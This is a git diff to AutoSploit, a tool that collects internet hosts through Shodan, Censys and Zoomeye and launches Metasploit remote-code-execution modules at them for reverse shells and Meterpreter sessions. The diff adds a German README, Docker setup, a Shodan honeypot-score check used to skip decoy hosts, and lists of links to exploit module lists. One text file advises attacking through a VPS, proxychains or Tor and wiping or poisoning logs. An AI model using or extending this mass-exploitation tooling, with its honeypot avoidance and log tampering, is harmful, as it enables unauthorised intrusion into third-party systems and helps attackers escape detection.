diff --git a/.github/.translations/README-de.md b/.github/.translations/README-de.md new file mode 100644 index 0000000..4d28d97 --- /dev/null +++ b/.github/.translations/README-de.md @@ -0,0 +1,217 @@ +# AutoSploit + +Wie der Name vielleicht sagt, versucht Autosploit automatisiert Remote Hosts zu nutzen. Ziele können automatisch über Shodan, Censys oder Zoomeye gesammelt werden. Es wurden aber außerdem Optionen hinzugefügt, welche es erlauben, eigene Ziele oder Host-Listen hinzuzufügen. Die verfügbaren Metasploit-Module wurden ausgewählt, um die Ausführung von Remote-Code zu erleichtern und um zu versuchen, Reverse TCP Shells und/oder Meterpreter-Sessions zu erhalten. + +**Sicherheitserwägung für den Betrieb** + +Das Empfangen von Verbindungen über deine lokale Maschine ist vielleicht nicht die beste Idee für einen OPSEC-Standpunkt. Ziehe es stattdessen in Betracht, dieses Tool auf einem VPS auszuführen, welches alle benötigten Abhängigkeiten installiert hat. + +Die neue Version von AutoSploit verfügt über ein Feature, welches dir erlaubt, eine Proxy zu setzen, bevor du dich verbindest, und einen benutzerdefinierten User-Agent zu verwenden. + +# Hilfreiche Links + + - [Nutzung](https://github.com/NullArray/AutoSploit#usage) + - [Installation](https://github.com/NullArray/AutoSploit#Installation) + - [Abhängigkeiten](https://github.com/NullArray/AutoSploit#dependencies) + - [Benutzerhandbuch](https://github.com/NullArray/AutoSploit/wiki) + - [Nutzungsmöglichkeiten](https://github.com/NullArray/AutoSploit/wiki/Usage#usage-options) + - [Screenshots](https://github.com/NullArray/AutoSploit/wiki/Examples-and-images) + - [Bugs/Ideen melden](https://github.com/NullArray/AutoSploit/wiki/Bugs-and-ideas#bugs) + - [Entwicklungsleitfäden](https://github.com/NullArray/AutoSploit/wiki/Development-information#development-of-autosploit) + - [Shoutouts](https://github.com/NullArray/AutoSploit#acknowledgements) + - [Entwicklung](https://github.com/NullArray/AutoSploit#active-development) + - [Discord-Server](https://discord.gg/9BeeZQk) + - [README-Übersetzungen](https://github.com/NullArray/AutoSploit#translations) + +# Installation + +AutoSploit zu installieren ist sehr einfach. Du kannst den neuesten, Release [hier](https://github.com/NullArray/AutoSploit/releases/tag/2.0) finden. Du kannst außerdem den Master-Branch als [zip](https://github.com/NullArray/AutSploit/zipball/master), als [tarball](https://github.com/NullArray/AutSploit/tarball/master) oder mit einer der folgenden Methoden herunterladen. + +###### Cloning + +```bash +sudo -s << EOF +git clone https://github.com/NullArray/Autosploit.git +cd AutoSploit +chmod +x install.sh +./install.sh +python2 autosploit.py +EOF +``` + +###### Docker + +```bash +sudo -s << EOF +git clone https://github.com/NullArray/AutoSploit.git +cd AutoSploit +chmod +x install.sh +./installsh +cd AutoSploit/Docker +docker network create -d bridge haknet +docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres +docker build -t autosploit . +docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit +EOF +``` + +Auf jedem Linux-System sollte folgendes funktionierern; + +```bash +git clone https://github.com/NullArray/AutoSploit +cd AutoSploit +chmod +x install.sh +./install.sh +``` + +Falls du AutoSploit auf einem System mit macOS ausführen willst, musst du das Programm trotz der Kompatibilität mit macOS in einer virtuellen Maschine ausführen, sodass es erfolgreich ausgeführt werden kann. Um dies zu tun, sind folgende Schritte nötig; + +```bash +sudo -s << '_EOF' +pip2 install virtualenv --user +git clone https://github.com/NullArray/AutoSploit.git +virtualenv +source /bin/activate +cd +pip2 install -r requirements.txt +chmod +x install.sh +./install.sh +python autosploit.py +_EOF +``` + + +Mehr Informationen über die Nutzung von Docker können [hier](https://github.com/NullArray/AutoSploit/tree/master/Docker) gefunden werden. + +## Nutzung + +Das Programm mit `python autosploit.py` auszuführen, wird eine AutoSploit Terminal Session öffnen. Die Optionen für diese sind im Folgenden aufgelistet. +``` +1. Usage And Legal +2. Gather Hosts +3. Custom Hosts +4. Add Single Host +5. View Gathered Hosts +6. Exploit Gathered Hosts +99. Quit +``` + +Beim Auswählen der Option `2` wirst du aufgefordert, eine Plattform-spezifischen Suchanfrage einzugeben. Gib zum Beispiel `IIS` oder `Apache` ein und wähle eine Suchmaschine aus. Danach werden die gesammelten Hosts gespeichert, um sie in der `Exploit` Komponente nutzen zu können. + +Seit Version 2.0 von AutoSploit, kann dieses ebenfalls mit einer Anzahl von Command Line Argumenten/Flags gestartet werden. Gib `python autosploit.py -h` ein, um alle für dich verfügbaren Optionen anzuzeigen. Zur Referenz sind die Optionen nachfolgend ebenfalls aufgelistet *(auf Englisch)*. + +``` +usage: python autosploit.py -[c|z|s|a] -[q] QUERY + [-C] WORKSPACE LHOST LPORT [-e] [--whitewash] PATH + [--ruby-exec] [--msf-path] PATH [-E] EXPLOIT-FILE-PATH + [--rand-agent] [--proxy] PROTO://IP:PORT [-P] AGENT + +optional arguments: + -h, --help show this help message and exit + +search engines: + possible search engines to use + + -c, --censys use censys.io as the search engine to gather hosts + -z, --zoomeye use zoomeye.org as the search engine to gather hosts + -s, --shodan use shodan.io as the search engine to gather hosts + -a, --all search all available search engines to gather hosts + +requests: + arguments to edit your requests + + --proxy PROTO://IP:PORT + run behind a proxy while performing the searches + --random-agent use a random HTTP User-Agent header + -P USER-AGENT, --personal-agent USER-AGENT + pass a personal User-Agent to use for HTTP requests + -q QUERY, --query QUERY + pass your search query + +exploits: + arguments to edit your exploits + + -E PATH, --exploit-file PATH + provide a text file to convert into JSON and save for + later use + -C WORKSPACE LHOST LPORT, --config WORKSPACE LHOST LPORT + set the configuration for MSF (IE -C default 127.0.0.1 + 8080) + -e, --exploit start exploiting the already gathered hosts + +misc arguments: + arguments that don't fit anywhere else + + --ruby-exec if you need to run the Ruby executable with MSF use + this + --msf-path MSF-PATH pass the path to your framework if it is not in your + ENV PATH + --whitelist PATH only exploit hosts listed in the whitelist file +``` + +Falls du AutoSploit auf einem System mit macOS ausführen willst, musst du das Programm trotz der Kompatibilität mit macOS in einer virtuellen Maschine ausführen, sodass es erfolgreich ausgeführt werden kann. Um dies zu tun, sind folgende Schritte nötig; + +```bash +sudo -s << '_EOF' +pip2 install virtualenv --user +git clone https://github.com/NullArray/AutoSploit.git +virtualenv +source /bin/activate +cd +pip2 install -r requirements.txt +chmod +x install.sh +./install.sh +python autosploit.py +_EOF +``` + +## Abhängigkeiten +_Bitte beachte_: Alle Abhängigkeiten sollten über die obige Installationsmethode installiert werden. Für den Fall, dass die Installation nicht möglich ist: + +AutoSploit benötigt die folgenden Python 2.7 Module: + +``` +requests +psutil +beautifulsoup4 +``` + +Wenn dir auffällt, dass du diese nicht installiert hast, kannst du sie über Pip installieren, wie nachfolgend gezeigt. + +```bash +pip install requests psutil beautifulsoup4 +``` + +oder + +```bash +pip install -r requirements.txt +``` + +Da das Programm Funktionalität des Metasploit-Frameworkes nutzt, musst du dieses ebenfalls installiert haben. Hole es dir über Rapid7, indem du [hier](https://www.rapid7.com/products/metasploit/) klickst. + +## Danksagung + +Ein besonderer Dank gilt [Ekultek](https://github.com/Ekultek) ohne dessen Beiträge die Version 2.0 dieses Projekts wohl weitaus weniger spektakulär wäre. + +Ebenfalls danke an [Khast3x](https://github.com/khast3x) für das Einrichten der Docker-Unterstützung. + +### Aktive Entwicklung + +Falls du gerne zur Entwicklung dieses Projekts beitragen möchtest, bitte lies zuerst [CONTRIBUTING.md](https://github.com/NullArray/AutoSploit/blob/master/CONTRIBUTING.md), da diese unsere Leitfäden für Contributions enthält. + +Bitte lies außerdem [die Contribution-Standards](https://github.com/NullArray/AutoSploit/wiki/Development-information#contribution-standards), bevor du eine Pull Request erstellst. + +Falls du Hilfe damit brauchst, den Code zu verstehen, oder einfach mit anderen Mitgliedern der AutoSploit-Community chatten möchtest, kannst du gerne unserem [Discord-Server](https://discord.gg/9BeeZQk) joinen. + +### Anmerkung + +Falls du einem Bug begegnest, bitte fühle dich frei, [ein Ticket zu öffnen](https://github.com/NullArray/AutoSploit/issues). + +Danke im Voraus. + +## Übersetzungen + + - [FR](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-fr.md) + - [ZH](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-zh.md) + - [DE](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-de.md) diff --git a/.github/.translations/README-fr.md b/.github/.translations/README-fr.md index 05e28e1..e9c4c50 100644 --- a/.github/.translations/README-fr.md +++ b/.github/.translations/README-fr.md @@ -3,7 +3,7 @@ Comme vous pouvez l'imaginer au vu du nom de ce projet, AutoSploit automatise l'exploitation d'hôtes distantes connectées à internet. Les adresses des hôtes à attaquer sont collectées automatiquement grâce à l'aide de Shodan, Censys et Zoomeye. Vous pouvez également utiliser vos propres listes de cibles. Les modules Metasploit disponibles ont été sélectionnés afin de faciliter l'obtention d'exécution de code à distance ( Remote Code Execution, ou RCE ), qui permettent ensuite de créer des sessions terminal inversées ( reverse shell ) ou meterpreter ( via metasploit ). -**Ne soyez pas stupides** +**Ne soyez pas stupides** Recevoir les connexions de vos victimes directement sur votre ordinateur n'est pas vraiment une bonne idée. Vous devriez considérer l'option de dépenser quelques euros dans un VPS ( ou VPN ). @@ -127,12 +127,13 @@ AutoSploit exige la présence des modules Python2.7 suivants. ``` requests psutil +beautifulsoup4 ``` Si vous ne les avez pas, vous pouvez les installer avec les commandes ci-dessous ( dans le dossier d'AutoSploit ): ```bash -pip install requests psutil +pip install requests psutil beautifulsoup4 ``` ou diff --git a/.gitignore b/.gitignore index 302e263..46e0072 100644 --- a/.gitignore +++ b/.gitignore @@ -7,3 +7,4 @@ uid.p etc/tokens/* autosploit_out/* venv/* +etc/json/* diff --git a/Docker/Dockerfile b/Docker/Dockerfile index ae03a59..deb91ce 100644 --- a/Docker/Dockerfile +++ b/Docker/Dockerfile @@ -1,17 +1,17 @@ -FROM kalilinux/kali-linux-docker +FROM phocean/msf -RUN apt update && apt install -y postgresql \ - apache2 \ - python-pip \ - python-dev \ - build-essential \ - git \ - metasploit-framework +COPY "entrypoint.sh" . -RUN git clone https://github.com/NullArray/AutoSploit.git && pip install requests psutil -COPY database.yml /root/.msf4/database.yml -WORKDIR AutoSploit -EXPOSE 80 443 4444 +RUN apt-get update && \ + apt-get install -y \ + git \ + python-dev \ + python-pip \ + apache2 -ENTRYPOINT ["python", "autosploit.py"] -#ENTRYPOINT ["bash"] +RUN chmod +x entrypoint.sh && \ + git clone https://github.com/NullArray/AutoSploit.git && \ + pip install -r AutoSploit/requirements.txt + +EXPOSE 4444 +CMD [ "./entrypoint.sh" ] diff --git a/Docker/entrypoint.sh b/Docker/entrypoint.sh new file mode 100644 index 0000000..6b624a5 --- /dev/null +++ b/Docker/entrypoint.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +/etc/init.d/postgresql start +/etc/init.d/apache2 start +cd AutoSploit/ + +python autosploit.py \ No newline at end of file diff --git a/README.md b/README.md index 11fe1c9..cebae41 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,10 @@ -# AutoSploit - +
+
As the name might suggest AutoSploit attempts to automate the exploitation of remote hosts. Targets can be collected automatically through Shodan, Censys or Zoomeye. But options to add your custom targets and host lists have been included as well. The available Metasploit modules have been selected to facilitate Remote Code Execution and to attempt to gain Reverse TCP Shells and/or Meterpreter sessions. Workspace, local host and local port for MSF facilitated back connections are configured by filling out the dialog that comes up before the exploit component is started -**Operational Security Consideration** + +_**Operational Security Consideration:**_ + Receiving back connections on your local machine might not be the best idea from an OPSEC standpoint. Instead consider running this tool from a VPS that has all the dependencies required, available. @@ -25,36 +27,34 @@ The new version of AutoSploit has a feature that allows you to set a proxy befor # Installation -Installing AutoSploit is very simple, you can find the latest stable release [here](https://github.com/NullArray/AutoSploit/releases/tag/2.0). You can also download the master branch as a [zip](https://github.com/NullArray/AutSploit/zipball/master) or [tarball](https://github.com/NullArray/AutSploit/tarball/master) or follow one of the below methods; +Installing AutoSploit is very simple, you can find the latest stable release [here](https://github.com/NullArray/AutoSploit/releases/latest). You can also download the master branch as a [zip](https://github.com/NullArray/AutSploit/zipball/master) or [tarball](https://github.com/NullArray/AutSploit/tarball/master) or follow one of the below methods; -###### Cloning -```bash -sudo -s << EOF -git clone https://github.com/NullArray/Autosploit.git -cd AutoSploit -chmod +x install.sh -./install.sh -python2 autosploit.py -EOF +##### Docker Compose +Using Docker Compose is by far the easiest way to get AutoSploit up and running without too much of a hassle. +``` +git clone https://github.com/NullArray/AutoSploit.git +cd Autosploit/Docker +docker-compose run --rm autosploit ``` -###### Docker - -```bash -sudo -s << EOF +##### Docker +Just using Docker. +``` git clone https://github.com/NullArray/AutoSploit.git -cd AutoSploit -chmod +x install.sh -./installsh -cd AutoSploit/Docker +cd Autosploit/Docker +# If you wish to edit default postgres service details, edit database.yml. Should work out of the box +# nano database.yml docker network create -d bridge haknet docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres docker build -t autosploit . docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit -EOF ``` +Dev team contributor [Khast3x](https://github.com/khast3x) recently improved Docker operations as well as add more details to the README.md in the `Docker` subdirectory. For more information on deploying AutoSploit with Docker please be sure to click [here](https://github.com/NullArray/AutoSploit/tree/master/Docker) + + +##### Cloning On any Linux system the following should work; ```bash @@ -64,7 +64,7 @@ chmod +x install.sh ./install.sh ``` -If you want to run AutoSploit on a macOS system, AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. To do this, do the following; +AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. In order to accomplish this employ/perform the below operations via the terminal or in the form of a shell script. ```bash sudo -s << '_EOF' @@ -80,9 +80,6 @@ python autosploit.py _EOF ``` - -More information on running Docker can be found [here](https://github.com/NullArray/AutoSploit/tree/master/Docker) - ## Usage Starting the program with `python autosploit.py` will open an AutoSploit terminal session. The options for which are as follows. @@ -149,21 +146,6 @@ misc arguments: --whitelist PATH only exploit hosts listed in the whitelist file ``` -If you want to run AutoSploit on a macOS system, AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. To do this, do the following; - -```bash -sudo -s << '_EOF' -pip2 install virtualenv --user -git clone https://github.com/NullArray/AutoSploit.git -virtualenv -source /bin/activate -cd -pip2 install -r requirements.txt -chmod +x install.sh -./install.sh -python autosploit.py -_EOF -``` ## Dependencies _Note_: All dependencies should be installed using the above installation method, however, if you find they are not: @@ -191,9 +173,11 @@ Since the program invokes functionality from the Metasploit Framework you need t ## Acknowledgements -Special thanks to [Ekultek](https://github.com/Ekultek) without whoms contributions to the project version 2.0 would have been a lot less spectacular. +Special thanks to [Ekultek](https://github.com/Ekultek) without whoms contributions to the project, the new version would have been a lot less spectacular. + +Thanks to [Khast3x](https://github.com/khast3x) for setting up Docker support. -And thanks to [Khast3x](https://github.com/khast3x) for setting up Docker support. +Last but certainly not least. Thanks to all who have submitted Pull Requests, bug reports, useful and productive contributions in general. ### Active Development @@ -201,7 +185,7 @@ If you would like to contribute to the development of this project please be sur Please, also, be sure to read our [contribution standards](https://github.com/NullArray/AutoSploit/wiki/Development-information#contribution-standards) before sending pull requests -If you need some help understanding the code, or want to chat with some other AutoSploit community members, feel free to join our [Discord server](https://discord.gg/9BeeZQk). +If you need some help understanding the code, or want to chat with some other AutoSploit community members, feel free to join our [Discord server](https://discord.gg/DZe4zr2). ### Note @@ -213,3 +197,4 @@ Thanks in advance. - [FR](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-fr.md) - [ZH](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-zh.md) + - [DE](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-de.md) diff --git a/api_calls/censys.py b/api_calls/censys.py index 2a91842..1c29d3e 100644 --- a/api_calls/censys.py +++ b/api_calls/censys.py @@ -24,7 +24,7 @@ def __init__(self, identity=None, token=None, query=None, proxy=None, agent=None self.host_file = HOST_FILE self.save_mode = save_mode - def censys(self): + def search(self): """ connect to the Censys API and pull all IP addresses from the provided query """ diff --git a/api_calls/honeyscore_hook.py b/api_calls/honeyscore_hook.py new file mode 100644 index 0000000..cc773c8 --- /dev/null +++ b/api_calls/honeyscore_hook.py @@ -0,0 +1,21 @@ +import requests + + +class HoneyHook(object): + + def __init__(self, ip_addy, api_key): + self.ip = ip_addy + self.api_key = api_key + self.url = "https://api.shodan.io/labs/honeyscore/{ip}?key={key}" + self.headers = { + "Referer": "https://honeyscore.shodan.io/", + "Origin": "https://honeyscore.shodan.io" + } + + def make_request(self): + try: + req = requests.get(self.url.format(ip=self.ip, key=self.api_key), headers=self.headers) + honeyscore = float(req.content) + except Exception: + honeyscore = 0.0 + return honeyscore diff --git a/api_calls/shodan.py b/api_calls/shodan.py index ff8b68f..5db7a1a 100644 --- a/api_calls/shodan.py +++ b/api_calls/shodan.py @@ -25,7 +25,7 @@ def __init__(self, token=None, query=None, proxy=None, agent=None, save_mode=Non self.host_file = HOST_FILE self.save_mode = save_mode - def shodan(self): + def search(self): """ connect to the API and grab all IP addresses associated with the provided query """ diff --git a/api_calls/zoomeye.py b/api_calls/zoomeye.py index eea3b01..6bc2232 100644 --- a/api_calls/zoomeye.py +++ b/api_calls/zoomeye.py @@ -54,7 +54,7 @@ def __get_auth(self): token = json.loads(req.content) return token - def zoomeye(self): + def search(self): """ connect to the API and pull all the IP addresses that are associated with the given query diff --git a/autosploit/main.py b/autosploit/main.py index b4b2cfa..6926a9c 100644 --- a/autosploit/main.py +++ b/autosploit/main.py @@ -6,9 +6,12 @@ from lib.cmdline.cmd import AutoSploitParser from lib.term.terminal import AutoSploitTerminal +from lib.creation.issue_creator import ( + request_issue_creation, + hide_sensitive +) from lib.output import ( info, - warning, prompt, misc_info ) @@ -19,7 +22,9 @@ cmdline, close, EXPLOIT_FILES_PATH, - START_SERVICES_PATH + START_SERVICES_PATH, + save_error_to_file, + stop_animation ) from lib.jsonize import ( load_exploits, @@ -28,81 +33,104 @@ def main(): - try: - is_admin = os.getuid() == 0 - except AttributeError: - # we'll make it cross platform because it seems like a cool idea - is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 - if not is_admin: - close("must have admin privileges to run") + try: + is_admin = os.getuid() == 0 + except AttributeError: + # we'll make it cross platform because it seems like a cool idea + is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 - opts = AutoSploitParser().optparser() + if not is_admin: + close("must have admin privileges to run") - logo() - info("welcome to autosploit, give us a little bit while we configure") - misc_info("checking your running platform") - platform_running = platform.system() - misc_info("checking for disabled services") - # according to ps aux, postgre and apache2 are the names of the services on Linux systems - service_names = ("postgres", "apache2") - if "darwin" in platform_running.lower(): - service_names = ("postgres", "apachectl") + opts = AutoSploitParser().optparser() - for service in list(service_names): - while not check_services(service): - choice = prompt( - "it appears that service {} is not enabled, would you like us to enable it for you[y/N]".format( - service.title() - ) - ) - if choice.lower().startswith("y"): - try: + logo() + info("welcome to autosploit, give us a little bit while we configure") + misc_info("checking your running platform") + platform_running = platform.system() + misc_info("checking for disabled services") + # according to ps aux, postgre and apache2 are the names of the services on Linux systems + service_names = ("postgres", "apache2") + try: + for service in list(service_names): + while not check_services(service): if "darwin" in platform_running.lower(): - cmdline("{} darwin".format(START_SERVICES_PATH)) - elif "linux" in platform_running.lower(): - cmdline("{} linux".format(START_SERVICES_PATH)) + info( + "seems you're on macOS, skipping service checks " + "(make sure that Apache2 and PostgreSQL are running)" + ) + break + choice = prompt( + "it appears that service {} is not enabled, would you like us to enable it for you[y/N]".format( + service.title() + ) + ) + if choice.lower().startswith("y"): + try: + if "linux" in platform_running.lower(): + cmdline("{} linux".format(START_SERVICES_PATH)) + else: + close("your platform is not supported by AutoSploit at this time", status=2) + + # moving this back because it was funky to see it each run + info("services started successfully") + # this tends to show up when trying to start the services + # I'm not entirely sure why, but this fixes it + except psutil.NoSuchProcess: + pass else: - close("your platform is not supported by AutoSploit at this time", status=2) + process_start_command = "`sudo service {} start`" + if "darwin" in platform_running.lower(): + process_start_command = "`brew services start {}`" + close( + "service {} is required to be started for autosploit to run successfully (you can do it manually " + "by using the command {}), exiting".format( + service.title(), process_start_command.format(service) + ) + ) + except Exception: + pass - # moving this back because it was funky to see it each run - info("services started successfully") - # this tends to show up when trying to start the services - # I'm not entirely sure why, but this fixes it - except psutil.NoSuchProcess: - pass - else: - process_start_command = "`sudo service {} start`" - if "darwin" in platform_running.lower(): - process_start_command = "`brew services start {}`" - close( - "service {} is required to be started for autosploit to run successfully (you can do it manually " - "by using the command {}), exiting".format( - service.title(), process_start_command.format(service) - ) - ) + if len(sys.argv) > 1: + info("attempting to load API keys") + loaded_tokens = load_api_keys() + AutoSploitParser().parse_provided(opts) - if len(sys.argv) > 1: - info("attempting to load API keys") - loaded_tokens = load_api_keys() - AutoSploitParser().parse_provided(opts) + if not opts.exploitFile: + misc_info("checking if there are multiple exploit files") + loaded_exploits = load_exploits(EXPLOIT_FILES_PATH) + else: + loaded_exploits = load_exploit_file(opts.exploitFile) + misc_info("Loaded {} exploits from {}.".format( + len(loaded_exploits), + opts.exploitFile)) - if not opts.exploitFile: + AutoSploitParser().single_run_args(opts, loaded_tokens, loaded_exploits) + else: misc_info("checking if there are multiple exploit files") loaded_exploits = load_exploits(EXPLOIT_FILES_PATH) - else: - loaded_exploits = load_exploit_file(opts.exploitFile) - misc_info("Loaded {} exploits from {}.".format( - len(loaded_exploits), - opts.exploitFile)) + info("attempting to load API keys") + loaded_tokens = load_api_keys() + terminal = AutoSploitTerminal(loaded_tokens, loaded_exploits) + terminal.terminal_main_display(loaded_tokens) + except Exception as e: + global stop_animation + + stop_animation = True + + import traceback - AutoSploitParser().single_run_args(opts, loaded_tokens, loaded_exploits) - else: - warning("no arguments have been parsed, defaulting to terminal session. press 99 to quit and help to get help") - misc_info("checking if there are multiple exploit files") - loaded_exploits = load_exploits(EXPLOIT_FILES_PATH) - info("attempting to load API keys") - loaded_tokens = load_api_keys() - terminal = AutoSploitTerminal(loaded_tokens) - terminal.terminal_main_display(loaded_exploits) + print( + "\033[31m[!] AutoSploit has hit an unhandled exception: '{}', " + "in order for the developers to troubleshoot and repair the " + "issue AutoSploit will need to gather your OS information, " + "current arguments, the error message, and a traceback. " + "None of this information can be used to identify you in any way\033[0m".format(str(e)) + ) + error_traceback = ''.join(traceback.format_tb(sys.exc_info()[2])) + error_class = str(e.__class__).split(" ")[1].split(".")[1].strip(">").strip("'") + error_file = save_error_to_file(str(error_traceback), str(e), error_class) + print error_traceback + # request_issue_creation(error_file, hide_sensitive(), str(e)) diff --git a/dryrun_autosploit.sh b/drysploit.sh similarity index 85% rename from dryrun_autosploit.sh rename to drysploit.sh index 1089632..288a931 100644 --- a/dryrun_autosploit.sh +++ b/drysploit.sh @@ -1,15 +1,16 @@ #!/usr/bin/env bash +# +# this script dryruns autosploit. That's it, nothing special just a dry run +# + if [[ $# -lt 1 ]]; then echo "Syntax:" - echo -e "\t./dryrun_autosploit.sh [whitelist]" + echo -e "\t./drysploit.sh [whitelist]" exit 1 fi -echo -e "[!] Make sure you are not on your localhost while running this script, press enter to continue"; -read - WHITELIST=$2 SEARCH_QUERY=$1 LPORT=4444 diff --git a/etc/json/default_fuzzers.json b/etc/json/default_fuzzers.json index b606973..5eb3b82 100644 --- a/etc/json/default_fuzzers.json +++ b/etc/json/default_fuzzers.json @@ -1,6 +1,5 @@ { "exploits": [ - "auxiliary/fuzzers/dns/dns_fuzzer", "auxiliary/fuzzers/ftp/client_ftp", "auxiliary/fuzzers/ftp/ftp_pre_post", "auxiliary/fuzzers/http/http_form_field", diff --git a/etc/scripts/start_services.sh b/etc/scripts/start_services.sh index 46195cc..b34f143 100755 --- a/etc/scripts/start_services.sh +++ b/etc/scripts/start_services.sh @@ -1,6 +1,9 @@ #!/bin/bash function startApacheLinux () { + # NOTE: if you are running on Arch uncomment this + #sudo systemctl start apache > /dev/null 2>&1 + # and comment this one out sudo systemctl start apache2 > /dev/null 2>&1 } @@ -8,21 +11,10 @@ function startPostgreSQLLinux () { sudo systemctl start postgresql > /dev/null 2>&1 } -function startApacheOSX () { - sudo apachectl start > /dev/null 2>&1 -} - -function startPostgreSQLOSX () { - brew services restart postgresql > /dev/null 2>&1 -} - function main () { if [ $1 == "linux" ]; then startApacheLinux; startPostgreSQLLinux; - elif [ $1 == "darwin" ]; then - startApacheOSX; - startPostgreSQLOSX; else echo "[*] invalid operating system"; fi diff --git a/etc/text_files/auth.key b/etc/text_files/auth.key new file mode 100644 index 0000000..6f2bc01 --- /dev/null +++ b/etc/text_files/auth.key @@ -0,0 +1 @@ +Vm0wd2VFMUdiRmhTV0d4V1YwZG9XVll3WkRSV1ZteHlWMjVrVlUxV2NIbFdNalZyWVZVeFYxZHVhRmRTZWtFeFZtMTRTMk15VGtsaFJscHBWa1ZhU1ZkV1VrZFRNazE0Vkc1V2FsSnRhRzlVVmxwWFRrWmFjbHBFVWxwV2JIQllWVEkxVDFkSFNraFZiR2hhWVRGYU0xWXhXbUZqTVZwMFVteG9hVlpyV1hwV1IzaGhZekZhU0ZOclpGaGlSMmhvVm1wT1UyRkdiRlpYYlhScVlrWmFlVlV5Y3pGV01rcEpVV3hzVjFaNlJUQlpla3BIWXpGT2MxWnNaR2xTYTNCWFZtMHhOR1F3TUhoalJXaHNVakJhVlZWc1VsZFhiR1J5VjIxR2FGWnNjSHBaTUZadlZqRktjMk5HYUZwaGExcG9WbXBHYTJOc1pISlBWbVJPWWxkb1dsWXhXbE5TTVZwMFZtdGthbEpXY0ZsWmExVXhZMVpTVjFkdFJrNVdiRlkxV1ROd1YxWnJNVmRqUldSWFRXNUNTRlpxUm1GV01rNUhWRzFHVTFKV2NFVldiR1EwVVRGYVZrMVZWazVTUkVFNQ==:9 \ No newline at end of file diff --git a/etc/text_files/checksum_link.txt b/etc/text_files/checksum_link.txt new file mode 100644 index 0000000..a1ffcf4 --- /dev/null +++ b/etc/text_files/checksum_link.txt @@ -0,0 +1 @@ +https://gist.githubusercontent.com/Ekultek/cdf0d417ab5f023e99b89c1a4c7c3be8/raw/f91496698d4218565cba01b2d1c620efe80e6095/checksums.md5 \ No newline at end of file diff --git a/etc/text_files/ethics.lst b/etc/text_files/ethics.lst index 03cc3bc..6fdd371 100644 --- a/etc/text_files/ethics.lst +++ b/etc/text_files/ethics.lst @@ -9,4 +9,7 @@ "This provides an unending opportunity for cybercriminals and script kiddies to hijack vulnerable devices and subsequently launch attacks against online organizations with ease" "Both Metasploit and Shodan have been available for years, as integral to the pen testers toolkit as Nessus and Burpsuite. But with Autosploit pulling them together, the concern should be focused on curious kids thinking it would be fun to see what they can find" "My fear is that this has magnified the attack surface, and made it so that every exposed service on the internet will be scanned and probed on a near-constant basis by an entirely new set of attackers." -"The release of tools like these exponentially expands the threat landscape by allowing a wider group of hackers to launch global attacks at will" \ No newline at end of file +"The release of tools like these exponentially expands the threat landscape by allowing a wider group of hackers to launch global attacks at will" +"Good to know we’ve weaponized for the masses. Everyone can now be a script kiddie simply by plugging, playing and attacking." +"The fact that something is really easy, does not make unauthorized computer access any less a crime. And tools like this leave a forensic footprint that is miles wide. Yes, you can compromise poorly protected systems very easily with this tool, but you can also end up in a lot of trouble." +"I can't believe it's not skidware!" \ No newline at end of file diff --git a/etc/text_files/gen b/etc/text_files/gen new file mode 100644 index 0000000..6fe17af --- /dev/null +++ b/etc/text_files/gen @@ -0,0 +1,18 @@ +Usage of AutoSploit for attacking targets without prior mutual consent is illegal in pretty much every sense of the word. It is the +end user's responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible +for any misuse or damage caused by this program or any component thereof. + +Developers do not encourage nor condone any illegal activity; + +In OffSec/RedTeam engagements it is important however to mind your operational security. With that in mind, please consider the following: + + - Use AutoSploit on a VPS through a proxy(chain) or Tor + - Keep calm and wipe/data-poison the logs or use tools to do so + - Never connect from your local IP address + - Keep a low profile, AutoSploit is loud + + +In closing, knowledge is not illegal and anybody that tells you learning is wrong is a fool. +Get as much out of this program as we got from writing it. Remember though, common sense and a sense of ethics go a long way. + +Thank you. diff --git a/etc/text_files/links.txt b/etc/text_files/links.txt new file mode 100644 index 0000000..d9f8f5f --- /dev/null +++ b/etc/text_files/links.txt @@ -0,0 +1,12 @@ +https://gist.githubusercontent.com/Ekultek/f51e6d61817721aa9341a1f1e66d3602/raw/82dfa8234d2f744c99bc277a1c73efc39770cff6/wordpress_exploits.txt +https://gist.githubusercontent.com/Ekultek/76202c6fa170d6da501da5ab303f01f0/raw/da5205919f1a47f2ccc9c75ab26e1456ad91d3d4/all_exploits.txt +https://gist.githubusercontent.com/Ekultek/e04f27632d40bf10da338b61b8416f95/raw/8c949dd2aa8047ded828b1220e13101b6f28d9ab/linux_exploits.txt +https://gist.githubusercontent.com/Ekultek/d4658fe488f9edafe2b2edc1910e1983/raw/13c21c0ed20b4b10df79b93566fdd111df77f1ed/windows_exploits.txt +https://gist.githubusercontent.com/Ekultek/219036c05e21d8352b4181cbe3df5f4f/raw/0e907b387fa2b35dc75cb94120172155d8d3eb3e/smb_exploits.txt +https://gist.githubusercontent.com/Ekultek/066e1c9285f2a60d2b7103b4d1972864/raw/03d06809a3d79d51f19e3d0c77fb9783f961c485/samba_exploits.txt +https://gist.githubusercontent.com/Ekultek/e9a5c7d37fc58b77bed241d8f2811e8a/raw/789839b93c2c8ce7cc6240cafedfa8e30c2ae4e1/all_rce_exploits.txt +https://gist.githubusercontent.com/Ekultek/c69a01e688ed1739d9e572722ea37ed5/raw/63ead0225784de9389059745b1c869face015d7c/2018_rce_exploits.txt +https://gist.githubusercontent.com/Ekultek/6d1d2d0a83715cb0314fead1ff2768a1/raw/b4fb17df1c3c09464741547ccff674262168a015/excellent_exploits.txt 